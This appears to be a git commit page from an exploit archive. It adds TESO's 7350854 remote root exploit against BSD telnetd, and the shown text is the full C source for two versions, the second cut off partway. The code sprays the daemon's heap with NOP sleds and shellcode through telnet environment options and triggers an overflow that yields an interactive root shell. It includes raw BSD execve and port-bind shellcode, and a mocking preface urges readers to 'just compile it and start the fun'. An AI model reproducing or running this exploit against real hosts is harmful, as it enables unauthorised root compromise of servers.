summaryrefslogtreecommitdiff
path: root/exploits/7350854
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350854
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350854')
-rw-r--r--exploits/7350854/7350854bin0 -> 18649 bytes
-rw-r--r--exploits/7350854/7350854-rbin0 -> 18712 bytes
-rw-r--r--exploits/7350854/7350854-r.c944
-rw-r--r--exploits/7350854/7350854.c877
-rw-r--r--exploits/7350854/7350854.id0bin0 -> 196608 bytes
-rw-r--r--exploits/7350854/7350854.id1bin0 -> 73728 bytes
-rw-r--r--exploits/7350854/7350854.nambin0 -> 16384 bytes
-rw-r--r--exploits/7350854/7350854.tilbin0 -> 64 bytes
-rw-r--r--exploits/7350854/teso-advisory-011.tar.gzbin0 -> 2510 bytes
-rw-r--r--exploits/7350854/teso-advisory-011.txt307
-rw-r--r--exploits/7350854/teso-advisory-011/teso-advisory-011.txt153
-rw-r--r--exploits/7350854/teso-howitmaybeworkonsparc.txt59
12 files changed, 2340 insertions, 0 deletions
diff --git a/exploits/7350854/7350854 b/exploits/7350854/7350854
new file mode 100644
index 0000000..7647d66
--- /dev/null
+++ b/exploits/7350854/7350854
Binary files differ
diff --git a/exploits/7350854/7350854-r b/exploits/7350854/7350854-r
new file mode 100644
index 0000000..87bf289
--- /dev/null
+++ b/exploits/7350854/7350854-r
Binary files differ
diff --git a/exploits/7350854/7350854-r.c b/exploits/7350854/7350854-r.c
new file mode 100644
index 0000000..40853ea
--- /dev/null
+++ b/exploits/7350854/7350854-r.c
@@ -0,0 +1,944 @@
1
2#ifdef DESPERATION
3
4Yes, this is the exploit. Yes, fully legal, straight from the authors, this
5time. No need to dwelve through archives or ask teenagers to hand it to you.
6Just plain and simple. For free.
7
8No need to worry about copyrights, privacy, about risk and results of your
9actions. No need to fear legal prosecution, denial of service attacks or some
10bad publicity. Just clean this time. Clean enough to right stick it into the
11archive.
12
13No need to violate something, your moral, your ethics or the rules you live
14by. They all stay away from the center of the storm, safely.
15
16I apologize to everyone I had asked not to disclose this and everyone who was
17offended by my postings. Also the ones that send me threatening emails. And
18those that pointed out my non conforming behaviour to me. I apologize.
19
20
21Yes, full disclosure works,
22Yes, this exploit helps everyone,
23Yes, I truly love everyone involved.
24
25Yes, dear pentester, take it and earn your living in the next pentest using
26this code. Enjoy how easy it was, without the need to understand, the need to
27know what is happening. Ah, relieving, quite fresh even. Tastes well, nearly
28as well as your fresh certificates. And you did not even pay for it, so there
29is more for certificates, right? Or buy your little children some new toy, for
30it was a hard time the last years, and you wish you would have more time for
31them, so show it to them.
32
33Yes, dear collector, this is an item not to miss. Be sure to get the tagged
34and broken versions too, for that your archive would be incomplete without.
35And who wants that, an incomplete archive. If you like archiving, you can do
36it all the time. Maybe someday you will have the archiving authority then, and
37can charge money for it. Or delay things for non paying customers. But be sure
38to copyright it, else some unethical person might steal your archive and nice
39compilation in which you have invested so many hours and investor capital. But
40I am sure you will manage this and for this I like you.
41
42Yes, dear moderator, as you read until now, I have to congratulate you to
43having improved your reading skills. Unbelieveable, I jump, enjoying your
44newly aquainted capabilities and wish you good luck in the future. After all,
45information wants to be free and the sooner one gets over it and apologizes,
46the more time is there to drive with the new car in this sunny days. Good
47work.
48
49Yes, dear blackhat, for that you are remaining calm and quiet. For that, I
50like you. You do not flame or provocate, you apply your wisdom after all. You
51do not advocate, and you have not caused me sleepless nights. That is
52something I truly like you for.
53
54Yes, dear whitehat, your shiny hat blends by enlightning silver colours and I
55truly understand what you want to give back with nobel goals. Your bright
56shining hat overtones all the unnecessary details and really points to the
57important things. This brightens the goal while it shades the rough way.
58
59Yes, dear script kiddie, I am sorry I caused so much trouble. Just compile it
60and start the fun, for that is what exploits are meant to be. And fun, it is
61not important to understand things there, its important to enjoy it, right?
62
63Yes, dear webmaster, we all like your sites and the content. Add this file to
64your content and do the humankind good. You have full legal permission to do
65so, no need to worry this time. No need to argue, ask or acknowledge.
66
67Yes, dear author of source code, you have my true respect. You truly made the
68internet what it is and I respect your true art of code.
69
70Yes, dear law, for that most of us respect you. You provide the framework for
71social life, for the basic forms of respect in todays commercial minded
72livings. Sometimes we hate you and sometimes we rely on you. Since you remain
73there everytime, it must be our fault. You cannot explain it, but I think I
74understand what you mean.
75
76
77Yes, now enjoy the exploit.
78No strings attached.
79
80#endif
81
82/* 7350854 - x86/bsd telnetd remote root exploit
83 *
84 * bug found by scut 2001/06/09
85 * further research by smiler, zip, lorian and me.
86 * thanks to zip's cool friend for giving me a testbed to play on
87 *
88 * tested against: BSDI BSD/OS 4.1
89 * NetBSD 1.5
90 * FreeBSD 3.1
91 * FreeBSD 4.0-REL
92 * FreeBSD 4.2-REL
93 * FreeBSD 4.3-BETA
94 * FreeBSD 4.3-STABLE
95 * FreeBSD 4.3-RELEASE
96 *
97 */
98
99#define VERSION "0.0.7"
100
101#include <sys/types.h>
102#include <sys/time.h>
103#include <sys/socket.h>
104#include <netinet/in.h>
105#include <arpa/inet.h>
106#include <arpa/telnet.h>
107#include <netdb.h>
108#include <errno.h>
109#include <fcntl.h>
110#include <unistd.h>
111#include <stdio.h>
112#include <stdlib.h>
113#include <string.h>
114#include <time.h>
115
116
117/* global variables, uhhohh!
118 */
119int mode = 16;
120int num = 245;
121int pop = 31500; /* puts code at 0x08fdff0a */
122int bs = 1; /* buffer start */
123
124int num34 = 244;
125int pop34 = 71833; /* puts code at 0x0a0d08fe */
126int bs34 = 0;
127
128int walk; /* populator walker */
129int force = 0; /* force exploitation */
130int checkonly = 0; /* check telnetd only */
131
132
133void usage (char *progname);
134int xp_check (int fd);
135void xp_pop (int fd);
136void xp_shrinkwin (int fd);
137void xp_setenv (int fd, unsigned char *var, unsigned char *val);
138void xp (int fd);
139void shell (int sock);
140void hexdump (char *desc, unsigned char *data, unsigned int amount);
141
142/* imported from shellkit */
143unsigned long int random_get (unsigned long int low, unsigned long int high);
144void random_init (void);
145int bad (unsigned char u);
146int badstr (unsigned char *code, int code_len, unsigned char *bad,
147 int bad_len);
148unsigned long int x86_nop_rwreg (void);
149unsigned long int x86_nop_xfer (char *xferstr);
150unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
151 unsigned char *bad, int bad_len);
152
153#define BSET(dest, len, val, bw) { \
154 dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \
155 dest |= val << (8 - bw - len); /* set value bits */ \
156 bw += len; \
157}
158
159/* imported from network.c */
160#define NET_CONNTIMEOUT 60
161int net_conntimeout = NET_CONNTIMEOUT;
162
163unsigned long int net_resolve (char *host);
164int net_connect (struct sockaddr_in *cs, char *server,
165 unsigned short int port, int sec);
166
167
168/* x86/bsd PIC portshell shellcode
169 * by lorian/teso
170 * port 0x4444 (might want to change it here)
171 */
172unsigned char x86_bsd_portshell[] =
173 "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
174 "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
175 /* ^^ ^^ port */
176 "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
177 "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
178 "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
179 "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
180 "\x80";
181
182/* x86/bsd PIC execve shellcode
183 * by lorian/teso
184 */
185unsigned char x86_bsd_execvesh[] =
186 "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
187 "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";
188
189/* x86/bsd(i)+solaris execve shellcode
190 * by lorian/teso
191 */
192unsigned char x86_bsd_compaexec[] =
193 "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
194 "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
195 "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
196 "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";
197
198
199unsigned char * shellcode = x86_bsd_compaexec;
200
201
202#define COL 55
203
204
205void
206usage (char *progname)
207{
208 fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
209 fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
210 "-c\tcheck exploitability only, do not exploit\n"
211 "-f\tforce mode, override check results\n\n");
212 fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
213 "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
214 "take that, or it will take very long for it (> 1h). beware.\n\n");
215
216 fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
217 "\tNetBSD 1.5\n"
218 "\tBSDI BSD/OS 4.1\n\n");
219
220 exit (EXIT_FAILURE);
221}
222
223int
224main (int argc, char *argv[])
225{
226 char c;
227 char * progname;
228 char * dest;
229 int i, j, fd,
230 dots = 0;
231 int popc;
232 struct timeval start,
233 cur;
234 unsigned long long int g_pct, /* gaussian percentage */
235 g_all; /* gaussian overall */
236
237
238 fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
239 "by zip, lorian, smiler and scut.\n\n");
240
241 progname = argv[0];
242 if (argc < 2)
243 usage (progname);
244
245
246 while ((c = getopt (argc, argv, "n:cf")) != EOF) {
247 switch (c) {
248 case 'n':
249 num = atoi (optarg);
250 break;
251 case 'c':
252 checkonly = 1;
253 break;
254 case 'f':
255 force = 1;
256 break;
257 default:
258 usage (progname);
259 break;
260 }
261 }
262
263 dest = argv[argc - 1];
264 if (dest[0] == '-')
265 usage (progname);
266
267 fd = net_connect (NULL, dest, 23, 20);
268 if (fd <= 0) {
269 fprintf (stderr, "failed to connect\n");
270 exit (EXIT_FAILURE);
271 }
272
273 random_init ();
274
275 if (xp_check (fd) == 0 && force == 0) {
276 printf ("aborting\n");
277#ifndef DEBUG
278 exit (EXIT_FAILURE);
279#endif
280 }
281 close (fd);
282
283 if (checkonly)
284 exit (EXIT_SUCCESS);
285
286 fd = net_connect (NULL, dest, 23, 20);
287 if (fd <= 0) {
288 fprintf (stderr, "failed to connect the second time\n");
289 exit (EXIT_FAILURE);
290 }
291
292 printf ("\n#############################################################################\n\n");
293 printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
294 "telnet daemon process, it will spill badly. but then, there is no\n"
295 "other way, sorry...\n\n", mode);
296
297#ifdef DEBUG
298 getchar ();
299#endif
300 printf ("## setting populators to populate heap address space\n");
301
302 g_all = ((unsigned long long int)(pop / 2)) *
303 ((unsigned long long int)(pop + 1));
304 g_pct = 0;
305
306 printf ("## number of setenvs (dots / network): %d\n", pop);
307 printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
308 printf ("##\n");
309 printf ("## the percentage is more realistic than the dots ;)\n");
310 printf ("\n");
311 printf ("percent |");
312
313 popc = pop / COL;
314 for (i = pop / popc ; i >= 0 ; --i)
315 printf ("-");
316 printf ("| ETA |\n");
317
318 gettimeofday (&start, NULL);
319
320 for (walk = 0 ; walk < pop ; ++walk) {
321 xp_pop (fd);
322
323 g_pct += walk;
324
325 if (walk % popc == 0)
326 dots += 1;
327
328 if (walk % 200 == 0) {
329 int pct;
330 float pct_f;
331 unsigned long int diff;
332
333 pct = (int) ((g_pct * 100) / g_all);
334 pct_f = g_pct * 100;
335 pct_f /= (float) g_all;
336
337 /* calculate difference not caring about accuracy */
338 gettimeofday (&cur, NULL);
339 diff = cur.tv_sec - start.tv_sec;
340
341 printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
342 "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f);
343 for (j = 0 ; j < dots ; ++j)
344 printf (".");
345 for ( ; j <= COL ; ++j)
346 printf (" ");
347
348 if (pct != 0) {
349 diff = (int) ((((float)(100 - pct_f)) /
350 (float) pct_f) * diff);
351 printf ("| %02lu:%02lu:%02lu |",
352 diff / 3600, (diff % 3600) / 60,
353 diff % 60);
354 } else {
355 printf ("| --:--:-- |");
356 }
357
358 fflush (stdout);
359 }
360 }
361 printf ("\n\n");
362
363 printf ("## sleeping for 10 seconds to let the process recover\n");
364 sleep (10);
365
366#ifdef DEBUG
367 getchar ();
368#endif
369 /* return into 0x08feff0a */
370 xp (fd);
371 sleep (1);
372
373 printf ("## ok, you should now have a root shell\n");
374 printf ("## as always, after hard times, there is a reward...\n");
375 printf ("\n\ncommand: ");
376 fflush (stdout);
377
378 shell (fd);
379
380 exit (EXIT_SUCCESS);
381}
382
383
384void
385xp (int fd)
386{
387 int n;
388 unsigned char buf[2048];
389
390
391 /* basic overflow */
392 for (n = bs ; n < sizeof (buf) ; ++n)
393 buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
394
395 /* some nifty alignment */
396 buf[0] = '\xff'; /* IAC */
397 buf[1] = '\xf5'; /* AO */
398
399 if (mode == 16) {
400 buf[2] = '\xff'; /* IAC */
401 buf[3] = '\xfb'; /* WILL */
402 buf[4] = '\x26'; /* ENCRYPTION */
403 }
404
405 /* force 0x08feff0a as return */
406 buf[num++] = '\xff';
407 buf[num++] = '\xfb';
408 buf[num++] = '\x08';
409
410 /* and the output_encrypt overwrite action, yay! */
411 buf[num++] = '\xff';
412 buf[num++] = '\xf6';
413
414 /* XXX: should not fail here, though we should better loop and check */
415 n = send (fd, buf, num, 0);
416 if (n != num) {
417 perror ("xp:send");
418 }
419}
420
421
422#ifdef INSANE_MIND
423
424void
425xp_shrinkwin (int fd)
426{
427 int n;
428 int iobc;
429 int p = 0;
430 unsigned char buf[2048];
431 char c;
432 int val;
433 int len;
434
435 for (n = 0 ; n < sizeof (buf) ; ++n)
436 buf[n] = n % 2 ? '\xf6' : '\xff';
437
438 len = sizeof (val);
439 getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
440 printf ("SO_SNDLOWAT = %d\n", val);
441 val = 1;
442 printf ("setsockopt: %s\n",
443 setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
444 "FAILED" : "SUCCESS");
445 val = 1234;
446 getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
447 printf ("SO_SNDLOWAT = %d\n", val);
448
449 getchar();
450 while (1) {
451 if (p > 105)
452 c = getchar();
453 if (c == 'r') {
454 getchar();
455 read (fd, &buf[1024], 384);
456 } else if (c == 'o') {
457 getchar();
458 send (fd, "7", 1, MSG_OOB);
459 } else if (c != 'r') {
460 usleep(100000);
461 n = send (fd, buf, 112, 0);
462 ioctl (fd, FIONREAD, &iobc);
463 len = sizeof (val);
464 getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
465 printf ("%02d. send: %d local: %d/%d (%d left)\n",
466 ++p, n, iobc, val, val - iobc);
467 }
468 }
469}
470#endif
471
472
473/* xp_pop - populator function
474 *
475 * causes remote telnet daemon to setenv() variables with our content, populating
476 * the heap with shellcode. this will get us more nopspace and place our shellcode
477 * where the nice addresses are, that we can create by writing telnet option
478 * strings.
479 *
480 * XXX: there seems to be a maximum size for the environment value you can set,
481 * which is 510. we use 496 bytes for nopspace and shellcode therefore.
482 * should work, rather similar to tsig tcp/malloc exploitation. -sc
483 */
484
485void
486xp_pop (int fd)
487{
488 unsigned char var[16];
489 unsigned char storebuf[496];
490 sprintf (var, "%06x", walk);
491#ifdef DEBUG
492 memset (storebuf, '\xcc', sizeof (storebuf));
493#else
494/* memset (storebuf, '\x90', sizeof (storebuf)); */
495 x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
496 memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
497 shellcode, strlen (shellcode));
498#endif
499 storebuf[sizeof (storebuf) - 1] = '\0';
500
501 xp_setenv (fd, var, storebuf);
502}
503
504
505void
506xp_setenv (int fd, unsigned char *var, unsigned char *val)
507{
508 int n = 0;
509 unsigned char buf[2048];
510
511 buf[n++] = IAC;
512 buf[n++] = SB;
513 buf[n++] = TELOPT_NEW_ENVIRON;
514 buf[n++] = TELQUAL_IS;
515 buf[n++] = ENV_USERVAR;
516
517 /* should not contain < 0x04 */
518 while (*var) {
519 if (*var == IAC)
520 buf[n++] = *var;
521 buf[n++] = *var++;
522 }
523 buf[n++] = NEW_ENV_VALUE;
524 while (*val) {
525 if (*val == IAC)
526 buf[n++] = *val;
527 buf[n++] = *val++;
528 }
529 buf[n++] = IAC;
530 buf[n++] = SE;
531
532 if (send (fd, buf, n, 0) != n) {
533 perror ("xp_setenv:send");
534 exit (EXIT_FAILURE);
535 }
536}
537
538
539int
540xp_check (int fd)
541{
542 int n;
543 unsigned int expect_len = 15;
544 unsigned char expected[] =
545 "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
546 /* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/
547 unsigned int additional_len = 8;
548 unsigned char additional[] =
549 "\xff\xfa\x26\x01\x01\x02\xff\xf0";
550 /*IAC SB ENC ........... IAC SE */
551
552 unsigned char buf[128];
553
554 read (fd, buf, sizeof (buf));
555
556 n = 0;
557 buf[n++] = IAC; /* 0xff */
558 buf[n++] = AYT; /* 0xf6 */
559
560 buf[n++] = IAC; /* 0xff */
561 buf[n++] = WILL; /* 0xfb */
562 buf[n++] = TELOPT_NAOL; /* 0x08 */
563
564 buf[n++] = IAC; /* 0xff */
565 buf[n++] = WILL; /* 0xfb */
566 buf[n++] = TELOPT_ENCRYPT; /* 0x26 */
567
568#ifdef DEBUG
569 hexdump ("check send buffer", buf, n);
570#endif
571 if (send (fd, buf, n, 0) != n) {
572 perror ("xp_check:send");
573 exit (EXIT_FAILURE);
574 }
575
576 n = read (fd, buf, sizeof (buf));
577#ifdef DEBUG
578 hexdump ("check recv buffer", buf, n);
579#endif
580
581 if (memcmp (buf, expected, expect_len) == 0) {
582 if (memcmp (buf+expect_len, additional, additional_len) == 0) {
583 mode = 16;
584 } else {
585 mode = 34;
586 bs = bs34;
587 }
588 printf ("check: PASSED, using %dmb mode\n", mode);
589
590 return (1);
591 }
592
593 printf ("check: FAILED\n");
594
595 return (0);
596}
597
598
599void
600shell (int sock)
601{
602 int l;
603 char buf[512];
604 fd_set rfds;
605
606
607 while (1) {
608 FD_SET (0, &rfds);
609 FD_SET (sock, &rfds);
610
611 select (sock + 1, &rfds, NULL, NULL, NULL);
612 if (FD_ISSET (0, &rfds)) {
613 l = read (0, buf, sizeof (buf));
614 if (l <= 0) {
615 perror ("read user");
616 exit (EXIT_FAILURE);
617 }
618 write (sock, buf, l);
619 }
620
621 if (FD_ISSET (sock, &rfds)) {
622 l = read (sock, buf, sizeof (buf));
623 if (l <= 0) {
624 perror ("read remote");
625 exit (EXIT_FAILURE);
626 }
627 write (1, buf, l);
628 }
629 }
630}
631
632
633/* ripped from zodiac */
634void
635hexdump (char *desc, unsigned char *data, unsigned int amount)
636{
637 unsigned int dp, p; /* data pointer */
638 const char trans[] =
639 "................................ !\"#$%&'()*+,-./0123456789"
640 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
641 "nopqrstuvwxyz{|}~...................................."
642 "....................................................."
643 "........................................";
644
645
646 printf ("/* %s, %u bytes */\n", desc, amount);
647
648 for (dp = 1; dp <= amount; dp++) {
649 fprintf (stderr, "%02x ", data[dp-1]);
650 if ((dp % 8) == 0)
651 fprintf (stderr, " ");
652 if ((dp % 16) == 0) {
653 fprintf (stderr, "| ");
654 p = dp;
655 for (dp -= 16; dp < p; dp++)
656 fprintf (stderr, "%c", trans[data[dp]]);
657 fflush (stderr);
658 fprintf (stderr, "\n");
659 }
660 fflush (stderr);
661 }
662 if ((amount % 16) != 0) {
663 p = dp = 16 - (amount % 16);
664 for (dp = p; dp > 0; dp--) {
665 fprintf (stderr, " ");
666 if (((dp % 8) == 0) && (p != 8))
667 fprintf (stderr, " ");
668 fflush (stderr);
669 }
670 fprintf (stderr, " | ");
671 for (dp = (amount - (16 - p)); dp < amount; dp++)
672 fprintf (stderr, "%c", trans[data[dp]]);
673 fflush (stderr);
674 }
675 fprintf (stderr, "\n");
676
677 return;
678}
679
680
681
682unsigned long int
683net_resolve (char *host)
684{
685 long i;
686 struct hostent *he;
687
688 i = inet_addr(host);
689 if (i == -1) {
690 he = gethostbyname(host);
691 if (he == NULL) {
692 return (0);
693 } else {
694 return (*(unsigned long *) he->h_addr);
695 }
696 }
697 return (i);
698}
699
700
701int
702net_connect (struct sockaddr_in *cs, char *server,
703 unsigned short int port, int sec)
704{
705 int n,
706 len,
707 error,
708 flags;
709 int fd;
710 struct timeval tv;
711 fd_set rset, wset;
712 struct sockaddr_in csa;
713
714 if (cs == NULL)
715 cs = &csa;
716
717 /* first allocate a socket */
718 cs->sin_family = AF_INET;
719 cs->sin_port = htons (port);
720 fd = socket (cs->sin_family, SOCK_STREAM, 0);
721 if (fd == -1)
722 return (-1);
723
724 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
725 close (fd);
726 return (-1);
727 }
728
729 flags = fcntl (fd, F_GETFL, 0);
730 if (flags == -1) {
731 close (fd);
732 return (-1);
733 }
734 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
735 if (n == -1) {
736 close (fd);
737 return (-1);
738 }
739
740 error = 0;
741
742 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
743 if (n < 0) {
744 if (errno != EINPROGRESS) {
745 close (fd);
746 return (-1);
747 }
748 }
749 if (n == 0)
750 goto done;
751
752 FD_ZERO(&rset);
753 FD_ZERO(&wset);
754 FD_SET(fd, &rset);
755 FD_SET(fd, &wset);
756 tv.tv_sec = sec;
757 tv.tv_usec = 0;
758
759 n = select(fd + 1, &rset, &wset, NULL, &tv);
760 if (n == 0) {
761 close(fd);
762 errno = ETIMEDOUT;
763 return (-1);
764 }
765 if (n == -1)
766 return (-1);
767
768 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
769 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
770 len = sizeof(error);
771 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
772 errno = ETIMEDOUT;
773 return (-1);
774 }
775 if (error == 0) {
776 goto done;
777 } else {
778 errno = error;
779 return (-1);
780 }
781 }
782 } else
783 return (-1);
784
785done:
786 n = fcntl(fd, F_SETFL, flags);
787 if (n == -1)
788 return (-1);
789 return (fd);
790}
791
792
793/* imported from shellkit */
794
795unsigned long int
796random_get (unsigned long int low, unsigned long int high)
797{
798 unsigned long int val;
799
800 if (low > high) {
801 low ^= high;
802 high ^= low;
803 low ^= high;
804 }
805
806 val = (unsigned long int) random ();
807 val %= (high - low);
808 val += low;
809
810 return (val);
811}
812
813
814void
815random_init (void)
816{
817 srandom (time (NULL));
818}
819
820
821int
822bad (unsigned char u)
823{
824 if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
825 return (1);
826
827 return (0);
828}
829
830int
831badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
832{
833 int n;
834
835 for (code_len -= 1 ; code_len >= 0 ; --code_len) {
836 for (n = 0 ; n < bad_len ; ++n)
837 if (code[code_len] == bad[n])
838 return (1);
839 }
840
841 return (0);
842}
843
844unsigned long int
845x86_nop_rwreg (void)
846{
847 unsigned long int reg;
848
849 do {
850 reg = random_get (0, 7);
851 } while (reg == 4); /* 4 = $esp */
852
853 return (reg);
854}
855
856
857
858unsigned long int
859x86_nop_xfer (char *xferstr)
860{
861 int bw = 0; /* bitfield walker */
862 unsigned char tgt; /* resulting instruction */
863
864 /* in a valid xferstr we trust */
865 for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
866 switch (xferstr[0]) {
867 case ('0'):
868 BSET (tgt, 1, 0, bw);
869 break;
870 case ('1'):
871 BSET (tgt, 1, 1, bw);
872 break;
873 case ('r'):
874 BSET (tgt, 3, x86_nop_rwreg (), bw);
875 break;
876 case ('.'):
877 break; /* ignore */
878 default:
879 fprintf (stderr, "on steroids, huh?\n");
880 exit (EXIT_FAILURE);
881 break;
882 }
883 }
884
885 if (bw != 8) {
886 fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
887 exit (EXIT_FAILURE);
888 }
889
890 return (tgt);
891}
892
893
894unsigned int
895x86_nop (unsigned char *dest, unsigned int dest_len,
896 unsigned char *bad, int bad_len)
897{
898 int walk;
899 int bcount; /* bad counter */
900 char * xs;
901 char * xferstr[] = {
902 "0011.0111", /* aaa */
903 "0011.1111", /* aas */
904 "1001.1000", /* cbw */
905 "1001.1001", /* cdq */
906 "1111.1000", /* clc */
907 "1111.1100", /* cld */
908 "1111.0101", /* cmc */
909 "0010.0111", /* daa */
910 "0010.1111", /* das */
911 "0100.1r", /* dec <reg> */
912 "0100.0r", /* inc <reg> */
913 "1001.1111", /* lahf */
914 "1001.0000", /* nop */
915 "1111.1001", /* stc */
916 "1111.1101", /* std */
917 "1001.0r", /* xchg al, <reg> */
918 NULL,
919 };
920 unsigned char tgt;
921
922
923 for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
924 /* avoid endless loops on excessive badlisting */
925 for (bcount = 0 ; bcount < 16384 ; ++bcount) {
926 xs = xferstr[random_get (0, 15)];
927 tgt = x86_nop_xfer (xs);
928
929 dest[walk] = tgt;
930 if (badstr (&dest[walk], 1, bad, bad_len) == 0)
931 break;
932 }
933
934 /* should not happen */
935 if (bcount >= 16384) {
936 fprintf (stderr, "too much blacklisting, giving up...\n");
937 exit (EXIT_FAILURE);
938 }
939 }
940
941 return (walk);
942}
943
944
diff --git a/exploits/7350854/7350854.c b/exploits/7350854/7350854.c
new file mode 100644
index 0000000..95dd740
--- /dev/null
+++ b/exploits/7350854/7350854.c
@@ -0,0 +1,877 @@
1/* 7350854 - x86/bsd telnetd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * (C) COPYRIGHT TESO Security, 2001
14 * All Rights Reserved
15 *
16 *****************************************************************************
17 * bug found by scut 2001/06/09
18 * further research by smiler, zip, lorian and me.
19 * thanks to zip's cool friend for giving me a testbed to play on
20 *
21 * tested against: BSDI BSD/OS 4.1
22 * NetBSD 1.5
23 * FreeBSD 3.1
24 * FreeBSD 4.0-REL
25 * FreeBSD 4.2-REL
26 * FreeBSD 4.3-BETA
27 * FreeBSD 4.3-STABLE
28 * FreeBSD 4.3-RELEASE
29 *
30 */
31
32#define VERSION "0.0.7"
33
34#include <sys/types.h>
35#include <sys/time.h>
36#include <sys/socket.h>
37#include <netinet/in.h>
38#include <arpa/inet.h>
39#include <arpa/telnet.h>
40#include <netdb.h>
41#include <errno.h>
42#include <fcntl.h>
43#include <unistd.h>
44#include <stdio.h>
45#include <stdlib.h>
46#include <string.h>
47#include <time.h>
48
49
50/* global variables, uhhohh!
51 */
52int mode = 16;
53int num = 245;
54int pop = 31500; /* puts code at 0x08fdff0a */
55int bs = 1; /* buffer start */
56
57int num34 = 244;
58int pop34 = 71833; /* puts code at 0x0a0d08fe */
59int bs34 = 0;
60
61int walk; /* populator walker */
62int force = 0; /* force exploitation */
63int checkonly = 0; /* check telnetd only */
64
65
66void usage (char *progname);
67int xp_check (int fd);
68void xp_pop (int fd);
69void xp_shrinkwin (int fd);
70void xp_setenv (int fd, unsigned char *var, unsigned char *val);
71void xp (int fd);
72void shell (int sock);
73void hexdump (char *desc, unsigned char *data, unsigned int amount);
74
75/* imported from shellkit */
76unsigned long int random_get (unsigned long int low, unsigned long int high);
77void random_init (void);
78int bad (unsigned char u);
79int badstr (unsigned char *code, int code_len, unsigned char *bad,
80 int bad_len);
81unsigned long int x86_nop_rwreg (void);
82unsigned long int x86_nop_xfer (char *xferstr);
83unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
84 unsigned char *bad, int bad_len);
85
86#define BSET(dest, len, val, bw) { \
87 dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \
88 dest |= val << (8 - bw - len); /* set value bits */ \
89 bw += len; \
90}
91
92/* imported from network.c */
93#define NET_CONNTIMEOUT 60
94int net_conntimeout = NET_CONNTIMEOUT;
95
96unsigned long int net_resolve (char *host);
97int net_connect (struct sockaddr_in *cs, char *server,
98 unsigned short int port, int sec);
99
100
101/* x86/bsd PIC portshell shellcode
102 * by lorian/teso
103 * port 0x4444 (might want to change it here)
104 */
105unsigned char x86_bsd_portshell[] =
106 "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
107 "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
108 /* ^^ ^^ port */
109 "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
110 "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
111 "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
